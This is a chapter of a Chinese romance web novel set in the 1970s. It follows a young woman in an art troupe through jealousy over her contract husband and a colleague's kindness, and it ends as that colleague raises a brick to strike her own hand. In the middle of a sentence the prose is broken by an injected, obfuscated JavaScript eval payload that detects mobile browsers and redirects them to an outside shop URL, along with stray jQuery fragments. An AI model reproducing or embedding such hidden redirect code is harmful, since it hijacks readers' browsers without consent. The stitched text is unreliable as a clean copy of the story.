30. 文学城独发

作品:《七零小知青假结婚后

    看到这一幕的时候,归青芫只觉心间空落落的。


    蓦然想起过年时赵觉说的女同桌,会是她吗?还是他的同事?


    周齐堃平时和同事相处的态度也会和她一样吗?


    这一瞬,好的坏的乱七八糟想法全然盘旋脑海。


    想想,这还是她第一次来周齐堃工作的地方,没成想就碰上这场面。


    换句话说,还是自己没提前打好招呼了。


    不怪归青芫这样的想法,毕竟周齐堃平时一直是挺冷漠一人,归青芫一直以为他的另一面只在最亲近的人面前展露。


    这会儿和一女同志走这么近,归青芫难免不会多想。


    可周齐堃要真和别人有什么想法,她也压根管不着,她没这身份。


    不过两人有协议,说好的婚内不和别人在一起呀,所以应该是女同事吧,那要不是呢?


    归青芫只觉得心间乱乱的,仿佛无数柳絮缠绕,七上八下的。


    随即归青芫心间一酸,便想躲起来,怕预想的成为现实。


    倘若就这么直直撞上,那着实有点尴尬。


    只是周齐堃倒并没给她这机会,在她打算往回走时,身后陡然传来周齐堃的声音。


    周齐堃叫住了她。


    归青芫一愣,就那么僵在原地,不知道该不该走,小脸上浮现一抹无所适从的慌乱。


    走神之际,周齐堃不知何时已经站在她面前,垂眸看她,“你怎么在这?”


    归青芫格外庆幸是冬天,此时她裹得严严实实,围巾刚好裹住她下半张脸,只露出一双杏眼。


    倘若没有这围巾,周齐堃一定会发现她僵住的面容。


    周齐堃这语气传入归青芫耳中,怎么听怎么觉得是他挺不乐意,是觉得自己耽误他好事了?


    心中的猜忌变得更确切几分。


    归青芫板住僵住的小脸,只是头扭到一边,没看他,语气冷淡。


    “我在这不对?”


    周齐堃听出她语气的不满,虽不知情绪从何而来。


    还是耐心解释道:“下次别一个人走夜路,不安全。”


    这次归青芫倒是抬眼了,她扬眉,没想到周齐堃是这意思。


    “这位是嫂子吧?”


    蓦然,那女同志不知何时也走到自己面前。身穿着墨绿色羽绒服,样式挺时髦,就是没帽子。


    她正笑脸盈盈盯着自己,说话时还冒着凉凉雾气。


    听见这称呼,归青芫一时间倒还真没反应过来,下意识扭头看向周齐堃。


    这一扭头还把羽绒服的帽子弄掉了。


    有点呆。


    周齐堃给她戴上,这才缓缓介绍,“这是邵淳对象。”


    胡思乱想老半天,结果这女孩是邵淳对象。


    归青芫先是心间一松,而后抿唇一副半笑不笑模样,和她打招呼,“你好,归青芫。”


    “你好,我叫钱今意。”


    “那到时候婚礼你俩一定准时到。”


    归青芫忽然想起,过年时邵淳好像是提到过立春结婚。


    她点头,眉眼柔和,这笑比刚才真切几分,“好的,一定。”


    陡然,耳畔又传来一熟悉声音,归青芫顺着声线看去,裹得挺厚实一人正往这边走,还招了招手。


    是邵淳来了。


    邵淳约好送钱今意回家,这会儿是来接她的。


    邵淳缓缓走来,打招呼,“堃哥,嫂子,挺巧。”


    见钱今意头上什么也没戴,他把手掌搓热贴在她耳畔捂了会。


    随即邵淳把自己的耳包裹在钱今意头上,“怎么没戴帽子。”


    钱今意抿唇笑,有点不好意思。


    “我不冷,你给我了你戴什么?”


    邵淳拦住她摘耳包的手,语气带着股黏人劲,“我戴羽绒服上帽子就行。”


    大冬天搁外边寒暄多了实属没必要,太冻人。


    又简单聊几句,邵淳和钱今意跟两人道别。


    “哥,嫂子,那我俩就先走了。”


    “行,改天聚。”


    两人身影逐渐远去,归青芫目送直至身影全然模糊不见。


    “还看?该回家了。”


    “哦。”


    去公交车站路上,周齐堃又问了一遍,“今天怎么来找我了?”


    归青芫轻咬嘴唇,“不能找你?”


    周齐堃摇头,他轻笑一声,“就是挺意外。”


    归青芫斜睨他眼,幽幽道:“还是你有什么不可告人秘密,怕被我发现?”


    这语气有点意思。


    周齐堃也问得直接,“我怕你发现什么?”


    “还是你刚才误会了什么?”


    归青芫斩钉截铁,连忙摇头否认道:“我没有。”


    春桦市前两天下了场雪,路边还有积雪,周齐堃放缓步子。


    “钱今意她爸在汽车厂上班,刚才送东西来,碰见我下班就一起出来的。”


    归青芫知道周齐堃是在和她解释,紧抿嘴唇露出些许笑意,可头却扭到一边,“哦,你说这些干嘛。”


    周齐堃侧眸看她这模样,无奈笑笑,回答简洁:“闲的。”


    归青芫陡然发觉心间豁然开朗,这一瞬胡思乱想与烦躁全然飘散,似乎都显得多余。这是一种什么感觉?左思右想,归青芫愿意把这称之为踏实。


    自从两人上次吵架后,周齐堃这种踏实感愈发清晰,饶是自己时常胡思乱想,他好似总能把自己心中不解安然解释出来,这样的周齐堃让她格外安心。


    只是归青芫并没发现,她愈发被周齐堃牵动情绪,她只把这奇怪的情绪当做莫名其妙,并未重视。


    可春心萌动的种子已经发芽,离破土还会远吗?


    -


    第二天上午,归青芫正在练习室弹琴,陡然小腹传来一股沉沉的下坠感。


    她秀眉微蹙,停下练琴的手。


    “组长,我想请会假。”


    邢上睿见她脸色发白,赶忙上前语气关切道:“你怎么了?用去医务室吗?”


    归青芫摇摇头,没和他说太多,“我想去个厕所,请会假晚点练可以吗?”


    “好。”邢上睿自然答应,无论于公于私。


    “用我帮忙吗?”


    归青芫轻微摇摇头,“不用了,谢谢组长。”


    饶是喝了中药调理,这疼痛还是猝不及防,归青芫甚至猜想会不会是自己水土不服才导致这样的。


    归青芫缓缓走进更衣室,想着在这躺着休息一会儿。


    这会儿正是练习时间,更衣室不会有人。


    归青芫捂着肚子,略弯着身子缓缓推门而入。


    没料到更衣室还有别人,那人正是程若。


    两人对视一眼,相顾无言。


    归青芫是此刻全神贯注在肚子上,而程若则是认为她并不会和自己打招呼。


    程若径直走出更衣室。


    归青芫慢吞吞打开自己柜子,里面有两个棉花小垫子,她简单铺了一下,而后弓着身子侧躺在长椅上。


    她缓缓闭上眼,只觉得疼痛缓解不少,蓦地身上一股暖


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329714|195588||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    意袭来,是一种柔软的暖意。


    归青芫试图寻找热源,垂眸发现肚子上有个墨绿色热水袋。


    归青芫愣了一瞬,而后转头。


    是程若给她的。


    程若言简意赅,表明自己的想法,语气淡然道:“只是觉得你会需要。”


    说罢,便离开更衣室。


    滚烫的热水袋缓解不少痛意,上面的橡胶味从鼻息间传来,可此刻归青芫却觉得格外安心。


    暖意贯入小腹,又一点点蔓延心间。


    -


    下午总练习的时候,归青芫已经好了。


    只是她并没看见程若,当然琵琶组缺了这么个人居然也没人问。


    练习结束后,归青芫往团长办公室走去。


    那热水袋是隶属于补给里面的,归青芫总不能一直占用程若的热水袋,便想着去团长那申请领一个新的还给她。


    办公室这边没什么人,走廊空荡荡的,此刻显得格外寂静。


    七零年代的门隔音效果挺一般,办公室内说话声音大点门外便能听得一清二楚。


    “什么,你要退团?”


    办公室内陡然传来团长不可置信的语气。


    归青芫听见这话眼睫轻颤,不知怎的,她总觉得有股不好的预感。


    只见下一秒,团长拒绝的声音再度浮现,“程若,这团退不了。”


    “文工团不是你想来就来,想走就走的。”


    屋内又传来程若的声音,平静的语气此时却意外变轻了几分。


    “那需要具备什么条件才能退?”


    归青芫知道程若为何想退团,只是她没想到程若要到退团的地步。


    “砰”地一声。


    办公室木门不知何时被打开,归青芫还没反应过来时,程若已经从屋里出来了。


    见归青芫站在门口走廊,她瞳孔微缩,依旧什么也没说,紧接便越过归青芫打算离开。


    归青芫自知理亏,她拉住程若,“抱歉,我不是故意听到的,我是来领热水袋的。”


    “我一会把新的给你。”


    程若看了她一眼,拒绝道:“你用吧。我不需要了。”


    这是归青芫第一次和程若如此近距离接触,她这会才发现程若长了双好看的桃花眼,只是平时很少有如此近距离接触的时候。


    归青芫还想再说点什么,就在她思考之际,程若快步离开。


    她深深叹息,先去团长办公室领了热水袋。


    打算领完热水袋再去找程若。


    于情于理,程若都帮了她,那归青芫必然要回报。


    可领完热水袋,归青芫找了一圈,练习室,总练习室,厕所,更衣室,都没看见程若。


    难道是回宿舍了?


    她低垂着头,却意外碰见了邢上睿,“归青芫同志,你好点了吗?”


    归青芫点点头,“已经好了,谢谢组长。”


    下午总练习结束后是自由时间,并不强制要求练琴。


    “组长,你看见程若了?”归青芫随口一问。


    没成想邢上睿还真点了点头,“她在操场。”


    归青芫杏眼一亮,难得露出笑容,“谢谢组长。”


    寒风凛冽,吹得人不由眯起眼,归青芫不由裹紧帽子,这会儿大都在练琴,要么就是回宿舍,没人会来操场。


    继而当归青芫来到操场时很快便锁定那抹形影单只的身影。


    归青芫缓缓走近,只见程若正拿起一块砖头,朝自己右手砸。


    ——“你在干嘛!”